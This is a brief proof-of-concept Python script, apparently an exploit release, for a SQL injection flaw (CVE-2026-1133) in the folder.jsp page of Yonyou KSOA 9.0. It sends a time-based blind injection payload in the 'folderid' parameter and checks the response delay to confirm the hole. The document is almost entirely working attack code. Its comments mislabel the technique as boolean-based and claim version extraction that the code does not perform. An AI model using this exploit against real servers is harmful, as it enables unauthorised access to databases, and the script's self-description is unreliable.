CVE-2026-1133 Yonyou KSOA 9.0 folder.jsp SQL注入漏洞

import requests target_url = "http://target-server:80/kmf/folder.jsp" # SQL Injection PoC - Boolean-based blind injection # Extract database version using time-based blind injection payload = "1' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END) AND '1'='1" params = { "folderid": payload } try: print(f"[*] Sending payload to {target_url}") print(f"[*] Payload: {payload}") response = requests.get(target_url, params=params, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Time: {response.elapsed.total_seconds()}s") if response.elapsed.total_seconds() >= 5: print("[+] SQL Injection confirmed - Time-based blind injection works") else: print("[-] No obvious time delay detected") except requests.exceptions.Timeout: print("[+] SQL Injection confirmed - Request timed out as expected") except Exception as e: print(f"[-] Error: {e}")